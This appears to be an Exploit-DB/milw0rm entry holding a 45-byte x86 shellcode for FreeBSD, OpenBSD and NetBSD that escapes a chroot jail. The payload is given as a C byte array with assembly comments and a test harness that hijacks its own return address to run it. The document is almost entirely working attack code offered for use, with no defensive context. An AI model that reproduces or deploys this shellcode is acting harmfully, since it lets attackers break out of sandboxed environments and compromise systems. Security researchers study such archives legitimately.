BSD/x86 - Break chroot Shellcode (45 bytes)

EDB-ID:

13250

CVE:

N/A


Platform:

BSD_x86

Published:

2004-09-26

/*
   *BSD version
   FreeBSD, OpenBSD, NetBSD.

   s0t4ipv6@shellcode.com.ar

   45 bytes.

   -break chrooted
*/

char shellcode[]=

    "\x68\x62\x2e\x2e\x2e" /* pushl   $0x2e2e2e62            */
    "\x89\xe7"             /* movl    %esp,%edi              */
    "\x33\xc0"             /* xorl    %eax,%eax              */
    "\x88\x47\x03"         /* movb    %al,0x3(%edi)          */
    "\x57"                 /* pushl   %edi                   */
    "\xb0\x88"             /* movb    $0x88,%al              */
    "\x50"                 /* pushl   %eax                   */
    "\xcd\x80"             /* int     $0x80                  */
    "\x57"                 /* pushl   %edi                   */
    "\xb0\x3d"             /* movb    $0x3d,%al              */
    "\x50"                 /* pushl   %eax                   */
    "\xcd\x80"             /* int     $0x80                  */
    "\x47"                 /* incl    %edi                   */
    "\x33\xc9"             /* xorl    %ecx,%ecx              */
    "\xb1\xff"             /* movb    $0xff,%cl              */
    "\x57"                 /* pushl   %edi                   */
    "\x50"                 /* pushl   %eax                   */
    "\xb0\x0c"             /* movb    $0x0c,%al              */
    "\xcd\x80"             /* int     $0x80                  */
    "\xe2\xfa"             /* loop    <shellcode +31>        */
    "\x47"                 /* incl    %edi                   */
    "\x57"                 /* pushl   %edi                   */
    "\xb0\x3d"             /* movb    $0x3d,%al              */
    "\x50"                 /* pushl   %eax                   */
    "\xcd\x80";            /* int     $0x80                  */

main()
{
   int *ret;
   printf("Shellcode lenght=%d\n",sizeof(shellcode));
   ret=(int*)&ret+2;
   (*ret)=(int)shellcode;
}

// milw0rm.com [2004-09-26]